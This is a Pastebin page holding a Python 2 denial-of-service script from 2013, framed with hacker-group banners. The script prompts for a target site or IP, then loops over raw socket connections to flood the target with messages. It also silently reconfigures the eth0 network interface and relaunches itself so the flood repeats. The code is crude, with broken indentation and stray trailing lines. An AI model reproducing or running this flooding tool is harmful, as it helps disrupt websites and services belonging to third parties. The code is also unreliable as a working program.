Guest User

Dos script

a guest
Apr 14th, 2013
792
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.75 KB | None | 0 0
  1. #!/usr/bin/python
  2. # I do not take responablity for what you do with this toolkit. You may use it as you please. NO HACKING WITHOUT PERMISSON
  3. # Thanks -The RiPP3R
  4. #                      \ \__   / |
  5. #                      /- _ `-/  '
  6. #                     (/\/ \ \   /\
  7. #                     / /   | `    \
  8. #                     O O   ))     |
  9. #                    `-^--'`<     '
  10. #                    (_.)  _ ))   /
  11. #                     `.___/`    /
  12. #         <<-------------//     /------------->>
  13. #         >>----.     __ / __   \The RiPP3R---<<
  14. #         <<----|====O)))==) \) /=============>>
  15. #         >>----'    `--' `.__,' \UDP Script--<<
  16. #         <<----------- |        /------------>>
  17. #         <FuckThisShit \       /aka Dr.RiPP3R<<
  18. #         >Wearehere __ ( (_   /Greetz to All>>
  19. #                  ,'  ,----'   |  
  20. #             (________)\///'
  21.  
  22.  
  23. import socket,random,sys,time
  24. import os
  25. import subprocess
  26. import sys
  27. import shutil
  28. import re
  29. import time
  30. import socket
  31. import string
  32.  
  33.  
  34. class bcolors:
  35.     HEADER = '\033[95m'
  36.     OKBLUE = '\033[94m'
  37.     OKGREEN = '\033[92m'
  38.     WARNING = '\033[93m'
  39.     FAIL = '\033[91m'
  40.     ENDC = '\033[0m'
  41.  
  42.     def disable(self):
  43.         self.HEADER = ''
  44.         self.OKBLUE = ''
  45.         self.OKGREEN = ''
  46.         self.WARNING = ''
  47.         self.FAIL = ''
  48.         self.ENDC = ''
  49. print bcolors.WARNING + "            --Script was made by: [RiPP3R] (Danny Theobald)--"
  50. print("");
  51. print("");
  52. print("");
  53.  
  54. print bcolors.FAIL + "              4$$c               .$$r"
  55. print bcolors.FAIL + "              ^$$$b              e$$$$"
  56. print bcolors.FAIL + "              d$$$$$e          z$$$$$b"
  57. print bcolors.FAIL + "              4$$$*$$$$$c    .$$$$$*$$$r"
  58. print bcolors.OKBLUE + "                H@CKED Y0U N00B"
  59. print bcolors.FAIL + "                   x$$$$x         "
  60. print bcolors.FAIL + "                     .d$$P$$$b        "
  61. print bcolors.FAIL + "                    d$$P   ^$$$b       "
  62. print bcolors.FAIL + "              $$$$$$P          *$$$$$$ "
  63. print bcolors.FAIL + "               $$$$              $$$$"
  64. print bcolors.FAIL + "                $$                $$"
  65.  
  66. print("");
  67.  
  68.  
  69.  
  70.  
  71.  
  72. if len(sys.argv) != 4:
  73.     print bcolors.FAIL + "      ================================================="
  74.     print bcolors.WARNING + "                 WELCOME TO THE DARKSIDE "
  75.     print bcolors.FAIL + "      ================================================="
  76.         print("     xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
  77.     print bcolors.ENDC + "                ================================================="
  78.     print("");
  79.     print("                 Created By: DANNY THEOBALD/RiPP3R");
  80.     print bcolors.FAIL + "<<----------------------------------------------------------------------------->>"
  81.     print bcolors.FAIL +   "x                                           x"
  82.     print bcolors.OKBLUE + "x                                       x"
  83.     print bcolors.FAIL +   "x               We Are Anonymous                x"
  84.     print bcolors.OKBLUE + "x                    We Are Legion                  x"
  85.     print bcolors.FAIL +   "x                     We Do Not                 x"
  86.     print bcolors.OKBLUE + "x                          FORGIVE                  x"
  87.     print bcolors.FAIL +   "x                               We Do Not               X"
  88.     print bcolors.OKBLUE + "x                               F0RGET                      x"
  89.     print bcolors.FAIL +   "x                                       x"
  90.     print bcolors.OKBLUE + "x                                       x"
  91.     print bcolors.FAIL +   "x       -----------------------------------------------------           x"
  92.     print bcolors.OKBLUE + "x       -   E   X   P    E   C   T       U   S      -       x"
  93.     print bcolors.FAIL +   "x       -----------------------------------------------------           x"
  94.     print bcolors.OKBLUE + "<<----------------------------------------------------------------------------->>"
  95.     print("");
  96.     print bcolors.ENDC + "                ================================================"
  97.     ## IP CHANGE ##
  98.     from subprocess import call
  99. call(["ifconfig", "eth0", "192.168.1.5", "netmask", "255.255.255.0", "broadcast", "192.168.2.255"])
  100.  
  101. def restart_program():
  102.     python = sys.executable
  103.     os.execl(python, python, * sys.argv)
  104. curdir = os.getcwd()
  105.  
  106. #~~~~~=== Start of DOS Code ===~~~~~~~~~~=== Start of DOS Code ===~~~~~~~#
  107. #~~~~~=== Start of DOS Code ===~~~~~~~~~~=== Start of DOS Code ===~~~~~~~#
  108. #~~~~~=== Start of DOS Code ===~~~~~~~~~~=== Start of DOS Code ===~~~~~~~#
  109. #~~~~~=== Start of DOS Code ===~~~~~~~~~~=== Start of DOS Code ===~~~~~~~#
  110.  
  111. print bcolors.OKBLUE + "            Denial of service module loaded"
  112. host=raw_input( "What Site/IP do you want to attack?:" )
  113. port=input( "What port to attack on? (80):" )
  114. message=raw_input( "Message to be send via packets:" )
  115. conn=input( "How many connections?:" )
  116. ip = socket.gethostbyname( host )
  117.  
  118. print ("================================================")
  119. print ("[" + ip + "]")
  120. print ( "           Attacking the Website via DoS" )
  121. print ( "Flooding this current connection: " + host + " " )
  122. print ("================================================")
  123. def dos():
  124.     #pid = os.fork()
  125.     ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  126.     try:
  127.         ddos.connect((host, 80))
  128.         ddos.send( message )
  129.         ddos.sendto( message, (ip, port) )
  130.         ddos.send( message );
  131.     except socket.error, msg:
  132.         print("Connection unsucessful. sorry please try again.")
  133.     print ( "Taking this site down! - RiPP3R")
  134.     print( "----------------------")
  135.     ddos.close()
  136. for i in range(1, conn):
  137.     dos()
  138. print ("+----------------------------+")
  139. print("DoS completed add more connections fo a longer DoS")
  140. if __name__ == "__main__":
  141.     answer = raw_input("Do you want to carry on with the DoS? [Y/N]?")
  142.     if answer.strip() in "y Y yes Yes YES".split():
  143.         restart_program()
  144.     else:
  145.         os.system(curdir+"\Deq\main.py")
  146.        
  147. #~~~~~END OF DOS-CODE~~~~~~#
  148. # DANNY THEOBALD 2013 #
  149. # TOOLKIT             #
  150.  
  151.         print(" %s" % sys.argv[0])
  152.         sys.exit(1)
  153.    
  154.  
  155.  
  156. #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
Advertisement
Add Comment
Please, Sign In to add comment